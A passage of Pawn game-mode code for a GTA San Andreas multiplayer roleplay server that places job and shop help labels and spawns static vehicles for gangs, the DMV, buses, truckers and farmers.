	CreateDynamic3DTextLabel("You Can Become a Farmer \n use /getjob to join",COLOR_JOB,-382.6660,-1426.5121,26.2410,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become an Arms Dealer \n use /getjob to join",COLOR_JOB,2766.482177,-1610.956542,10.921875 ,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Garbage man \n use /getjob to join",COLOR_JOB,2077.161376,-2006.656250,13.546875,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Pizza Boy \n use /getjob to join",COLOR_JOB,2105.2402,-1808.1035,13.5547,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Sweeper \n use /getjob to join",COLOR_JOB,1610.875122,-1893.910522,13.546875,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Liquor Dealer \n use /getjob to join",COLOR_JOB,-13.077162, 47.826896, 3.117187,10.0,.testlos=1);
	CreateDynamic3DTextLabel("You Can Become a Oil Dealer \n use /getjob to join",COLOR_JOB,253.998931, 1451.826293, 10.585937,10.0,.testlos=1);
	//////========================================================================
	CreateDynamic3DTextLabel("You can get your job's license here\nUse /getjl",COLOR_JOB,358.673706, 182.649597, 1008.382812,12.0,.testlos=1);//license in city hall
	CreateDynamic3DTextLabel("Welcome\nType: /eat to eat", COLOR_WHITE, 368.9714,-6.2486,1001.8516, 10,.testlos=1);
	CreateDynamic3DTextLabel("Welcome\nType: /Atmwithdraw to withdraw money from your bank account\n Type: /Atmbalance to see how much money do you have in your bank account", COLOR_WHITE, 308.0,-141.461181,999.601562, 10,.testlos=1);
	CreateDynamic3DTextLabel("Welcome\nType: /eat to eat", COLOR_WHITE, 313.977355,-138.886062,1004.062500, 10,.testlos=1);
	CreateDynamic3DTextLabel("Welcome\nType: /eat to eat", COLOR_WHITE, 376.8571,-67.6620,1001.5151, 10,.testlos=1);
	CreateDynamic3DTextLabel("Welcome\nType: /eat to eat", COLOR_WHITE, 375.6895,-118.9683,1001.4995, 10,.testlos=1);
	CreateDynamic3DTextLabel("Welcome To Resturant\nType: /eat to eat", COLOR_WHITE, -787.565551,500.073822,1371.742187, 8,.testlos=1);
	CreateDynamic3DTextLabel("Welcome\nType: /eat to eat", COLOR_WHITE, 379.0611,-186.6032,1000.6328, 10,.testlos=1);
	CreateDynamic3DTextLabel("Fire & Meidc Department HQ\n type /enter to enter.", COLOR_WHITE, 1607.520996,1815.756591,10.820312, 10,.testlos=1);
	CreateDynamic3DTextLabel("News Reporter HQ\n type /enter to enter.",COLOR_WHITE,-329.8395,1536.6249,76.6117, 10,.testlos=1);

	//========================[vehicles]===========================================================================
	AddStaticVehicleEx(522,2229.60009766,1413.16210938,10.72287750,270.00000000,-1,-1,900); //NRG-500 LV Moto 184
	AddStaticVehicleEx(522,2229.52685547,1408.98999023,10.72287750,270.00000000,-1,-1,900); //NRG-500 LV Moto 185
	AddStaticVehicleEx(522,2229.61621094,1404.94372559,10.72287750,270.00000000,-1,-1,900); //NRG-500 LV Moto 186
	AddStaticVehicleEx(516,1921.80004883,1728.24890137,12.61440086,0.00000000,-1,-1,900); //Nebula LV Car 187
	AddStaticVehicleEx(542,1928.09191895,1760.85363770,18.74798584,0.00000000,-1,-1,900); //Clover LV Car 188
	AddStaticVehicleEx(439,1885.50061035,1817.23571777,18.93387794,0.00000000,-1,-1,900); //Stallion LV Car 189
	AddStaticVehicleEx(439,1907.42065430,2057.51000977,10.82031250,0.00000000,-1,-1,900); //Stallion LV Car 190
	AddStaticVehicleEx(516,1709.81347656,2243.56469727,10.72031212,0.00000000,-1,-1,900); //Nebula LV Car 191
	AddStaticVehicleEx(542,1536.02441406,2258.47583008,10.66371059,0.00000000,-1,-1,900); //Clover LV Car 192
	AddStaticVehicleEx(436,1368.87951660,2273.09008789,10.69830608,270.00000000,-1,-1,900); //Previon LV Car 193
	AddStaticVehicleEx(603,2198.76538086,1810.04479980,10.82298756,0.00000000,-1,-1,900); //Phoenix LV Car 194
	AddStaticVehicleEx(603,2195.31030273,2502.80688477,10.82298756,0.00000000,-1,-1,900); //Phoenix LV Car 195
	AddStaticVehicleEx(410,2433.75683594,2529.97924805,10.57030582,0.00000000,-1,-1,900); //Manana LV Car 196
	AddStaticVehicleEx(458,1898.44738770,2435.46533203,10.79052258,179.99993896,-1,-1,900); //Solair LV Car 197
	AddStaticVehicleEx(404,1613.03149414,2217.19580078,10.65031242,90.00000000,-1,-1,900); //Perrenial LV Car 198
	AddStaticVehicleEx(400,1978.80627441,2250.08007812,27.33142281,270.00000000,-1,-1,900); //Landstalker LV Car 199
	AddStaticVehicleEx(400,2104.11914062,2069.34130859,10.95642281,90.00000000,-1,-1,900); //Landstalker LV Car 200
	AddStaticVehicleEx(481,1863.5966,-1395.8079,12.9957,267.0759,3,3,900); // BMX IN THE PARK
	AddStaticVehicleEx(481,1930.8707,-1449.0979,12.9764,2.2853,3,3,900); // BMX IN THE PARK
	AddStaticVehicleEx(481,1954.4668,-1372.2097,19.1633,85.9580,3,3,900); // BMX IN THE PARK
	AddStaticVehicleEx(481,1902.0961,-1352.1694,12.9806,88.9301,3,3,90); // BMX IN THE PARK
	AddStaticVehicleEx(550,981.57379150,-924.02593994,41.47120285,268.00000000,-1,-1,900); //Sunrise LS CaRsS
	AddStaticVehicleEx(603,1179.62573242,-926.63281250,43.17923737,280.00000000,-1,-1,900); //Phoenix LS CaRsS
	AddStaticVehicleEx(436,1318.32727051,-873.88653564,39.45611954,0.00000000,-1,-1,900); //Previon LS CaRsS
	AddStaticVehicleEx(496,1571.71398926,-1011.14837646,23.69397736,179.99993896,-1,-1,900); //Blista Compact LS CaRsS
	AddStaticVehicleEx(439,873.435363,-4035.032226,13.546875,270.00000000,-1,-1,900); //Stallion LS CaRsS
	AddStaticVehicleEx(542,1749.04223633,-1085.04052734,23.80433655,0.00000000,-1,-1,900); //Clover LS CaRsS
	AddStaticVehicleEx(466,1757.27648926,-1014.99871826,23.88093758,167.99993896,-1,-1,900); //Glendale LS CaRsS
	AddStaticVehicleEx(547,2284.81176758,-1057.92468262,48.09999847,156.00000000,-1,-1,900); //Primo LS CaRsS
	AddStaticVehicleEx(585,2604.07470703,-1060.77722168,69.28240204,0.00000000,-1,-1,900); //Emperor LS CaRsS
	AddStaticVehicleEx(603,2683.95141602,-1098.23217773,69.31613159,0.00000000,-1,-1,900); //Phoenix LS CaRsS
	AddStaticVehicleEx(549,2801.30834961,-1465.22680664,16.08302879,0.00000000,-1,-1,900); //Tampa LS CaRsS
	AddStaticVehicleEx(439,2812.87304688,-1427.90075684,20.21875000,179.99993896,-1,-1,900); //Stallion LS CaRsS
	AddStaticVehicleEx(496,2790.84228516,-1447.77734375,31.80928993,272.00000000,-1,-1,900); //Blista Compact LS CaRsS
	AddStaticVehicleEx(401,2804.13525391,-1428.04003906,39.92020416,181.99993896,-1,-1,900); //Bravura LS CaRsS
	AddStaticVehicleEx(410,2796.57714844,-1558.55053711,10.67714882,270.00000000,-1,-1,900); //Manana LS CaRsS
	AddStaticVehicleEx(439,2816.19946289,-1539.76440430,10.92187500,179.99993896,-1,-1,900); //Stallion LS CaRsS
	AddStaticVehicleEx(542,2830.94067383,-1694.63952637,9.78857040,76.00000000,-1,-1,900); //Clover LS CaRsS
	AddStaticVehicleEx(549,2695.44995117,-1838.21093750,9.31468582,147.99993896,-1,-1,900); //Tampa LS CaRsS
	AddStaticVehicleEx(603,2676.55346680,-1672.48681641,9.39862442,0.00000000,-1,-1,900); //Phoenix LS CaRsS
	AddStaticVehicleEx(424,2384.70043945,-2295.83959961,13.38855076,46.00000000,-1,-1,900); //BF Injection LS CaRsS
	AddStaticVehicleEx(424,2659.99877930,-1438.63513184,30.33583450,0.00000000,-1,-1,900); //BF Injection LS CaRsS
	AddStaticVehicleEx(561,2516.71508789,-1398.92553711,28.28337479,0.00000000,-1,-1,900); //Stratum LS CaRsS
	AddStaticVehicleEx(400,2538.59106445,-1474.19653320,24.13598061,0.00000000,-1,-1,900); //Landstalker LS CaRsS
	AddStaticVehicleEx(516,2390.83032227,-1487.58630371,23.72812462,270.00000000,-1,-1,900); //Nebula LS CaRsS
	AddStaticVehicleEx(439,2443.05126953,-1646.23400879,13.47888184,177.99993896,-1,-1,900); //Stallion LS CaRsS
	AddStaticVehicleEx(401,2296.66699219,-1645.76879883,14.65782547,0.00000000,-1,-1,900); //Bravura LS CaRsS
	AddStaticVehicleEx(603,2357.38208008,-1478.11877441,23.83399200,90.00000000,-1,-1,900); //Phoenix LS CaRsS
	AddStaticVehicleEx(401,2490.39086914,-1755.15039062,13.38499832,0.00000000,-1,-1,900); //Bravura LS CaRsS
	AddStaticVehicleEx(410,1923.85742188,-1794.66857910,13.13280582,0.00000000,-1,-1,900); //Manana LS CaRsS
	AddStaticVehicleEx(481,1734.03173828,-1864.95800781,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(481,1733.03222656,-1864.99755859,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(481,1732.03320312,-1865.03662109,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(481,1730.78442383,-1865.01855469,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(481,1729.53540039,-1865.02343750,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(481,1728.04138184,-1869.27563477,13.18199444,0.00000000,-1,-1,900); //BMX LS CaRsS GaRa
	AddStaticVehicleEx(561,1977.72460938,-1995.69555664,13.47790146,0.00000000,-1,-1,900); //Stratum LS CaRsS
	AddStaticVehicleEx(401,1947.43566895,-2117.33129883,13.41247559,270.00000000,-1,-1,900); //Bravura LS CaRsS
	AddStaticVehicleEx(547,873.435363,-4035.032226,13.54687,0.00000000,-1,-1,900); //Primo LS CaRsS
	AddStaticVehicleEx(400,1244.24023438,-1835.06677246,13.52621269,0.00000000,-1,-1,900); //Landstalker LS CaRsS
	AddStaticVehicleEx(496,1398.02685547,-2330.92822266,13.33460236,0.00000000,-1,-1,900); //Blista Compact LS CaRsS
	AddStaticVehicleEx(439,1411.38476562,-2208.47583008,13.53907013,179.99993896,-1,-1,900); //Stallion LS CaRsS
	AddStaticVehicleEx(466,1560.23913574,-2247.74121094,13.46687508,90.00000000,-1,-1,900); //Glendale LS CaRsS
	AddStaticVehicleEx(585,1546.20446777,-2360.92700195,13.25158119,0.00000000,-1,-1,900); //Emperor LS CaRsS
	AddStaticVehicleEx(404,1063.02050781,-1769.72534180,13.19865608,270.00000000,-1,-1,900); //Perrenial LS CaRsS
	AddStaticVehicleEx(561,1359.54968262,-1753.12182617,13.28838921,0.00000000,-1,-1,900); //Stratum LS CaRsS
	AddStaticVehicleEx(400,1283.82397461,-1523.51867676,13.69818687,266.00000000,-1,-1,900); //Landstalker LS CaRsS
	AddStaticVehicleEx(458,782.55749512,-1605.42004395,13.35302258,270.00000000,-1,-1,900); //Solair LS CaRsS
	AddStaticVehicleEx(424,449.92453003,-1812.25061035,5.39410114,0.00000000,-1,-1,900); //BF Injection LS CaRsS
	AddStaticVehicleEx(424,445.64688110,-1812.10864258,5.39410114,0.00000000,-1,-1,900); //BF Injection LS CaRsS
	AddStaticVehicleEx(410,337.25863647,-1809.49926758,4.25713730,0.00000000,-1,-1,900); //Manana LS CaRsS
	AddStaticVehicleEx(603,303.98684692,-1486.54162598,24.59642410,236.00000000,-1,-1,900); //Phoenix LS CaRsS
	AddStaticVehicleEx(436,203.36660767,-1445.93811035,12.95622349,320.00000000,-1,-1,900); //Previon LS CaRsS
	AddStaticVehicleEx(527,-74.44380188,-1153.73107910,1.53314853,152.00000000,-1,-1,900); //Cadrona LS CaRsS
	AddStaticVehicleEx(527,-398.57284546,-1435.63757324,25.50971031,182.00000000,-1,-1,900); //Cadrona LS CaRsS
	AddStaticVehicleEx(568,-2348.12768555,-1611.80493164,483.86505127,250.00000000,-1,-1,900); //Duneride LS CaRsS ---- 278
	AddStaticVehicleEx(467,-2147.04614258,-2444.00024414,30.49500084,322.00000000,-1,-1,900); //Oceanic LS CaRsS
	AddStaticVehicleEx(540,-2230.88574219,-2325.96728516,30.59198761,316.00000000,-1,-1,900); //Vincent LS CaRsS
	AddStaticVehicleEx(561,-1545.30114746,-2748.86645508,48.45981216,170.00000000,-1,-1,900); //Stratum LS CaRsS
	AddStaticVehicleEx(458,20.20413208,-2634.07641602,40.37627792,0.00000000,-1,-1,900); //Solair LS CaRsS
	AddStaticVehicleEx(458,667.24420166,-546.33233643,16.30614662,90.00000000,-1,-1,900); //Solair LS CaRsS
	AddStaticVehicleEx(400,708.87915039,-461.27371216,16.47204781,90.00000000,-1,-1,900); //Landstalker LS CaRsS
	//ultimele masini adaugate in ls
	AddStaticVehicleEx(404,-7280.938964,5645.653808,135.283035 ,0,-1,-1,900); // LS car
	AddStaticVehicleEx(549,2229.2122,-1345.3350,23.6886,92.6004,-1,-1,900); // LS car
	AddStaticVehicleEx(458,2485.5276,-1556.1805,23.9130,178.8331,-1,-1,900); // LS car
	AddStaticVehicleEx(547,2472.3152,1990.9030,10.5559,359.6977,-1,-1,900); // Primo LV
	AddStaticVehicleEx(400,1672.9822,1306.0332,10.9127,359.5630,-1,-1,900); // Lanscaker geep LV
	AddStaticVehicleEx(540,-290.51672363,1312.78967285,54.13595963,82.00000000,-1,-1,900); //Vincent LV pe acolo pe la HQ NR
	AddStaticVehicleEx(547,-136.15957642,1084.88488770,19.58218765,0.00000000,-1,-1,900); //Primo LV pe acolo pe la HQ NR
	AddStaticVehicleEx(603,-80.74277496,1076.99609375,19.74486160,0.00000000,-1,-1,900); //Phoenix LV pe acolo pe la HQ NR
	AddStaticVehicleEx(439,49.50638580,1157.23657227,18.66406250,0.00000000,-1,-1,900); //Stallion LV pe acolo pe la HQ NR
	AddStaticVehicleEx(466,-177.68984985,1225.22192383,19.66218758,270.00000000,-1,-1,900); //Glendale LV pe acolo pe la HQ NR
	AddStaticVehicleEx(547,-866.84667969,1551.02478027,23.17987061,270.00000000,-1,-1,900); //Primo LV pe acolo pe la HQ NR
	AddStaticVehicleEx(585,-842.47747803,1472.69921875,16.24203873,356.00000000,-1,-1,900); //Emperor LV pe acolo pe la HQ NR
	AddStaticVehicleEx(400,-740.89874268,1645.99145508,27.42869377,180.00000000,-1,-1,900); //Landstalker LV pe acolo pe la HQ NR
	AddStaticVehicleEx(404,-1193.89099121,1822.19140625,41.54875183,44.00000000,-1,-1,900); //Perrenial LV pe acolo pe la HQ NR
	AddStaticVehicleEx(561,-1399.85607910,2643.90405273,55.61149979,90.00000000,-1,-1,900); //Stratum LV pe acolo pe la HQ NR
	AddStaticVehicleEx(561,-1488.97167969,1878.04736328,32.55681229,6.00000000,-1,-1,900); //Stratum LV pe acolo pe la HQ NR
	AddStaticVehicleEx(561,-941.23315430,1417.73669434,30.01502228,270.00000000,-1,-1,900); //Stratum LV pe acolo pe la HQ NR
	AddStaticVehicleEx(561,155.18121338,1190.52490234,15.32431507,0.00000000,-1,-1,900); //Stratum LV pe acolo pe la HQ NR
	AddStaticVehicleEx(400,651.64892578,1700.78771973,7.12829828,132.00000000,-1,-1,900); //Landstalker LV pe acolo pe la HQ NR
	AddStaticVehicleEx(410,711.44122314,1949.45092773,5.28905535,180.00000000,-1,-1,900); //Manana LV pe acolo pe la HQ NR
	AddStaticVehicleEx(585,-220.79730225,2730.07446289,62.38442612,0.00000000,-1,-1,900); //Emperor LV pe acolo pe la HQ NR
	AddStaticVehicleEx(547,-929.67852783,2015.40197754,60.75406265,308.00000000,-1,-1,900); //Primo LV pe acolo pe la HQ NR
	AddStaticVehicleEx(542,-301.58459473,1777.36718750,42.53089905,270.00000000,-1,-1,900); //Clover LV pe acolo pe la HQ NR

	AddStaticVehicleEx(561,2257.36035156,-82.79073334,26.45272827,179.99993896,-1,-1,900); //Stratum LV Car
	AddStaticVehicleEx(439,1929.18994141,698.20684814,10.82031250,180.00000000,-1,-1,900); //Stallion LV Car
	AddStaticVehicleEx(527,2804.50854492,1329.39758301,10.54076862,270.00000000,-1,-1,900); //Cadrona LV Car
	AddStaticVehicleEx(549,2879.48999023,2436.20800781,10.68178940,224.00000000,-1,-1,900); //Tampa LV Car
	AddStaticVehicleEx(466,2780.28466797,2440.19946289,10.74031258,134.00000000,-1,-1,900); //Glendale LV Car
	AddStaticVehicleEx(550,2141.85498047,2799.28198242,10.74309444,270.00000000,-1,-1,900); //Sunrise LV Car
	AddStaticVehicleEx(561,1368.97680664,2648.76562500,10.74431229,0.00000000,-1,-1,900); //Stratum LV Car
	AddStaticVehicleEx(550,1270.00366211,2694.45922852,10.74309444,179.99993896,-1,-1,900); //Sunrise LV Car
	AddStaticVehicleEx(404,1328.80847168,1279.39758301,10.65031242,0.00000000,-1,-1,900); //Perrenial LV Car
	AddStaticVehicleEx(458,1658.56518555,988.69860840,10.79052258,0.00000000,-1,-1,900); //Solair LV Car
	AddStaticVehicleEx(424,1664.87805176,1039.54394531,10.66753864,0.00000000,-1,-1,900); //BF Injection LV Car
	AddStaticVehicleEx(561,2197.08422852,938.86822510,10.74431229,0.00000000,-1,-1,900); //Stratum LV Car
	AddStaticVehicleEx(550,2501.38330078,937.03747559,10.75078106,0.00000000,-1,-1,900); //Sunrise LV Car
	AddStaticVehicleEx(542,2624.42114258,1132.63806152,10.66371059,180.00000000,-1,-1,900); //Clover LV Car
	AddStaticVehicleEx(439,2599.60009766,1690.90002441,10.82031250,90.00000000,-1,-1,900); //Stallion LV Car
	AddStaticVehicleEx(549,2562.76708984,1880.92883301,10.68369675,270.00000000,-1,-1,900); //Tampa LV Car
	AddStaticVehicleEx(527,2588.33789062,2056.74023438,10.60346127,90.00000000,-1,-1,900); //Cadrona LV Car
	AddStaticVehicleEx(410,2386.13281250,2003.82482910,10.57030582,0.00000000,-1,-1,900); //Manana LV Car
	AddStaticVehicleEx(603,2249.88159180,2063.83276367,10.82298756,180.00000000,-1,-1,900); //Phoenix LV Car
	AddStaticVehicleEx(410,2283.45288086,1975.36828613,9.61712074,0.00000000,-1,-1,900); //Manana LV Car
	AddStaticVehicleEx(401,2246.95336914,1952.12133789,31.64746666,0.00000000,-1,-1,900); //Bravura LV Car
	AddStaticVehicleEx(603,2247.34790039,1974.90893555,20.82476807,0.00000000,-1,-1,900); //Phoenix LV Car

   cuncar = AddStaticVehicleEx(409,735.0507,-1432.1986,13.3293,89.4831,12,12,900); // Limuzina Da Nang Boys
	cuncar1 = AddStaticVehicleEx(413,712.1708,-1438.7867,13.6285,268.8632,12,12,900); // Pony Da Nang Boys
	cuncar3 = AddStaticVehicleEx(521,744.5538,-1443.5616,13.1096,5.7016,12,12,900); // FCR Da Nang Boys
	cuncar4 = AddStaticVehicleEx(560,762.5101,-1436.9780,13.2316,89.4126,12,12,900); // Sultan Da Nang Boys
	cuncar5 = AddStaticVehicleEx(560,762.7592,-1432.9436,13.2316,88.2338,12,12,900); // Sultan Da Nang Boys
	cuncar6 = AddStaticVehicleEx(579,720.3476,-1438.9354,13.4625,268.9999,12,12,900); // Huntley Da Nang Boys
	barcar = AddStaticVehicleEx(521,2625.4695,2398.7769,10.3831,179.9701,128,128,900); //GroveStreet FCR
	barcar2 = AddStaticVehicleEx(409,2614.2307,2292.5232,10.6203,2.3735,128,128,900); //GroveStreet limuzina
	barcar3 = AddStaticVehicleEx(413,2582.6482,2296.1357,10.9000,268.9250,128,128,900); //GroveStreet Pony
	barcar4 = AddStaticVehicleEx(560,2592.9392,2279.0708,10.5258,269.8347,128,128,900); //GroveStreet Sultan
	barcar5 = AddStaticVehicleEx(579,2610.6892,2262.6421,10.7604,90.5400,128,128,900); //GroveStreet Huntely
	barcar6 = AddStaticVehicleEx(560,2585.2268,2250.3696,10.5257,1.3324,128,128,900); //GroveStreet Sultan
	patcar = AddStaticVehicleEx(560,1412.9275,746.2699,10.5253,269.6378,179,179,900); //TBF sulatn
	patcar1 = AddStaticVehicleEx(560,1455.1625,787.9921,10.5252,180.1390,179,179,900); //TBF Sultan
	patcar2 = AddStaticVehicleEx(521,1464.7676,787.8281,10.3909,178.1865,179,179,900); //TBF FCR
	patcar4 = AddStaticVehicleEx(413,1412.6277,778.3160,10.9122,269.8798,179,179,900); //TBF Pony
	patcar5 = AddStaticVehicleEx(579,1412.8949,759.0291,10.7547,269.8812,179,179,900); //TBF Huntely
	patcar6 = AddStaticVehicleEx(409,1473.6249,731.5168,10.6203,269.4417,179,179,900); //TBF Streech
	tcc1 = AddStaticVehicleEx(525,864.6730,-1255.5668,14.7480,270.6490,0,102,900); //TCC towtruck  **Numar**-- 212
	tcc2 = AddStaticVehicleEx(525,864.5558,-1245.1750,14.7540,272.7823,0,102,900); //TCC towtruck  **Numar**-- 213
	tcc3 = AddStaticVehicleEx(525,867.1730,-1206.1055,16.8590,177.8868,0,102,900); //TCC towtruck   **Numar**--214
	tcc4 = AddStaticVehicleEx(525,901.3642,-1205.6709,16.8546,178.5888,0,102,900); //TCC towtruck  **Numar**-- 215
	tcc5 = AddStaticVehicleEx(525,911.8616,-1253.7588,15.5698,0.3719,0,102,900); //TCC towtruck   **Numar**--216
	tcc6 = AddStaticVehicleEx(552,900.2590,-1272.3209,14.3154,91.9758,1,102,900); //TCC utility   **Numar**--217
	cuncar7 = AddStaticVehicleEx(545,703.6102,-1422.1788,13.3500,0.2704,12,12,900); //Da Nang Boys car
	patcar7 = AddStaticVehicleEx(545,1477.5614,787.7814,10.6314,179.8004,179,179,900); //TBF
	//spawn civil masini
	sp1 = AddStaticVehicle(510,1641.6342,-2261.7256,13.0918,358.4038,1,1); // Spawn Bike 001
	sp2 = AddStaticVehicle(510,1640.7858,-2261.6899,13.0598,358.4113,1,1); // Spawn Bike 002
	sp3 = AddStaticVehicle(510,1639.9376,-2261.6465,13.0746,358.4212,1,1); // Spawn Bike 003
	sp4 = AddStaticVehicle(510,1639.0894,-2261.6104,13.0708,358.4310,1,1); // Spawn Bike 004
	sp5 = AddStaticVehicle(510,1638.2412,-2261.5735,13.0727,358.4386,1,1); // Spawn Bike 005

	//--------------DMV mashinS:D -----------------------------------------------------
	dmv1 = AddStaticVehicleEx(547, 1647.1479, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv2 = AddStaticVehicleEx(547, 1651.3479, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv3 = AddStaticVehicleEx(547, 1655.5479, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv4 = AddStaticVehicleEx(547, 1659.7479, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv5 = AddStaticVehicleEx(547, 1664.0280, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv6 = AddStaticVehicleEx(547, 1668.2479, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	dmv7 = AddStaticVehicleEx(547, 1672.4080, -2166.4380, 13.2636, 180.0000, 162, 162, 100);
	//====================[airport airplane]=======================================
	AddStaticVehicleEx(439, 1065.2755, -1348.5320, 13.1750, 0.0000, -1, -1, 100);
	AddStaticVehicleEx(593, 1610.5841, -2625.9011, 14.0242, 0.0000, -1, -1, 100);//ls dodo 1
	AddStaticVehicleEx(593, 1624.0630, -2625.9011, 14.0242, 0.0000, -1, -1, 100);//ls dodo 2
	AddStaticVehicleEx(513, 1689.1484, -2626.5759, 14.2821, 0.0000, -1, -1, 100);//ls airport veh(its airplane but idk what is name!:D)
	AddStaticVehicleEx(513, 1679.7643, -2626.5759, 14.2821, 0.0000, -1, -1, 100);//ls airport vehits airplane but idk what is name!:D)
	AddStaticVehicleEx(519, 1290.9716, 1324.6434, 11.8289, 270.0000, -1, -1, 100);// lv shamal 1
	AddStaticVehicleEx(519, 1291.1472, 1360.9352, 11.8289, 270.0000, -1, -1, 100);// lv shamal 2
	AddStaticVehicleEx(487, 1293.9784, 1428.2620, 10.9260, 270.0000, -1, -1, 100);// lv heli 1
	//====[ls bus]====
	buscarx1=AddStaticVehicleEx(431, 1804.7834, -2040.0323, 13.5707, 90.0000, -1, -1, 100);
	buscarx2=AddStaticVehicleEx(431, 1804.7834, -2046.1958, 13.5707, 90.0000, -1, -1, 100);
	buscarx3=AddStaticVehicleEx(431, 1761.8491, -2070.3650, 13.4729, 0.0000, -1, -1, 100);
	buscarx4=AddStaticVehicleEx(431, 1741.4033, -2070.7446, 13.4729, 0.0000, -1, -1, 100);
	buscarx5=AddStaticVehicleEx(431, 1745.9493, -2070.4456, 13.4729, 0.0000, -1, -1, 100);
	buscarx6=AddStaticVehicleEx(431, 1750.8622, -2070.3757, 13.4729, 0.0000, -1, -1, 100);
	buscarx7=AddStaticVehicleEx(431, 1755.7352, -2070.3928, 13.4729, 0.0000, -1, -1, 100);
	///
	//[[[[[[[[[[lV]===============
	buscarx8=AddStaticVehicleEx(431, 1907.6693, 2299.5952, 10.7563, 90.0000, -1, -1, 100);
	buscarx9=AddStaticVehicleEx(431, 1907.6019, 2309.7690, 10.7563, 90.0000, -1, -1, 100);
	buscarx10=AddStaticVehicleEx(431, 1907.6189, 2314.9146, 10.7563, 90.0000, -1, -1, 100);
	buscarx11=AddStaticVehicleEx(431, 1907.6527, 2325.1953, 10.7563, 90.0000, -1, -1, 100);
	buscarx12=AddStaticVehicleEx(431, 1907.6344, 2319.6523, 10.7563, 90.0000, -1, -1, 100);
	//]]]]]]]]]]]]]]]
	//=============[TRUCKER]=====================
	trucarx1=AddStaticVehicleEx(435, -114.3811, -1142.1796, 3.3238, 330.4947, -1, -1, 100);
	trucarx2=AddStaticVehicleEx(435, -117.3456, -1140.6168, 3.3238, 330.4947, -1, -1, 100);
	trucarx3=AddStaticVehicleEx(591, -124.3185, -1137.4039, 3.4070, 330.4947, -1, -1, 100);
	trucarx4=AddStaticVehicleEx(435, -120.5708, -1138.8167, 3.4070, 330.4947, -1, -1, 100);
	trucarx5=AddStaticVehicleEx(591, -128.2775, -1136.3356, 3.4012, 330.4947, -1, -1, 100);
	trucarx6=AddStaticVehicleEx(591, -131.6808, -1133.9336, 3.3430, 330.4947, -1, -1, 100);
	trucarx7=AddStaticVehicleEx(435, -138.9563, -1128.4883, 3.9957, 330.4947, -1, -1, 100);
	trucarx8=AddStaticVehicleEx(435, -135.2275, -1130.8865, 3.6266, 330.4947, -1, -1, 100);
	trucarx9=AddStaticVehicleEx(435, -142.3163, -1126.6383, 4.4937, 330.4947, -1, -1, 100);
	trucarx10=AddStaticVehicleEx(403, -72.1261, -1108.4984, 1.7635, 159.5965, -1, -1, 100);
	trucarx11=AddStaticVehicleEx(403, -67.3388, -1110.3146, 1.7635, 159.5965, -1, -1, 100);
	trucarx12=AddStaticVehicleEx(403, -62.3663, -1112.0814, 1.7635, 159.5965, -1, -1, 100);
	trucarx13=AddStaticVehicleEx(403, -57.8158, -1114.4633, 1.7635, 159.5965, -1, -1, 100);
	trucarx14=AddStaticVehicleEx(403, -53.4444, -1116.8604, 1.7635, 159.5965, -1, -1, 100);
	trucarx15=AddStaticVehicleEx(403, -102.3571, -1107.5728, 4.3040, 157.2291, -1, -1, 100);
	trucarx16=AddStaticVehicleEx(403, -98.4245, -1109.3055, 3.4970, 157.2291, -1, -1, 100);
	trucarx17=AddStaticVehicleEx(403, -105.9842, -1105.8409, 4.6071, 157.2291, -1, -1, 100);
	trucarx18=AddStaticVehicleEx(403, -110.1259, -1103.9528, 4.9101, 157.2291, -1, -1, 100);
	trucarx19=AddStaticVehicleEx(403, -118.2273, -1099.8651, 5.2111, 157.1291, -1, -1, 100);
	trucarx20=AddStaticVehicleEx(403, -114.4838, -1101.8799, 4.9101, 157.2291, -1, -1, 100);
	trucarx21=AddStaticVehicleEx(403, -126.5405, -1095.6350, 6.0151, 157.1291, -1, -1, 100);
	trucarx22=AddStaticVehicleEx(403, -122.3481, -1097.5166, 5.4121, 157.1291, -1, -1, 100);
	trucarx23=AddStaticVehicleEx(591, -35.2477, -1125.2594, 1.7261, 64.9868, -1, -1, 100);
	trucarx24=AddStaticVehicleEx(435, -37.2202, -1129.5708, 1.7261, 64.9868, -1, -1, 100);
	trucarx25=AddStaticVehicleEx(591, -39.2540, -1134.0162, 1.7261, 64.9868, -1, -1, 100);
	trucarx26=AddStaticVehicleEx(435, -41.4786, -1138.8788, 1.7261, 64.9868, -1, -1, 100);
	trucarx27=AddStaticVehicleEx(591, -44.4853, -1144.0902, 1.7261, 64.9868, -1, -1, 100);
	//==================================[FARMER]=====================================
	farmveh5=AddStaticVehicleEx(532, -414.2045, -1422.1563, 27.1342, 90.2316, -1, -1, 100);
	farmveh6=AddStaticVehicleEx(532, -414.1668, -1432.0951, 27.1342, 90.2316, -1, -1, 100);
	farmveh7=AddStaticVehicleEx(532, -414.3888, -1441.5072, 27.1342, 90.2316, -1, -1, 100);
	farmveh8=AddStaticVehicleEx(532, -413.4614, -1451.1367, 26.7160, 90.2316, -1, -1, 100);
	farmveh9=AddStaticVehicleEx(532, -402.1859, -1460.6575, 26.7160, 90.2316, -1, -1, 100);
	farmveh10=AddStaticVehicleEx(532, -402.1184, -1450.9613, 26.7160, 90.2316, -1, -1, 100);
	farmveh11=AddStaticVehicleEx(532, -413.2160, -1461.3772, 26.7160, 90.2316, -1, -1, 100);
	farmveh12=AddStaticVehicleEx(532, -424.7322, -1461.6963, 26.7560, 90.2316, -1, -1, 100);
	//------------------------------------------------------------------------------
	farmveh13=AddStaticVehicleEx(532, -1066.8014, -1180.5748, 130.1522, 268.1898, -1, -1, 100);
	farmveh14=AddStaticVehicleEx(532, -1065.8776, -1162.1466, 130.1522, 268.1898, -1, -1, 100);
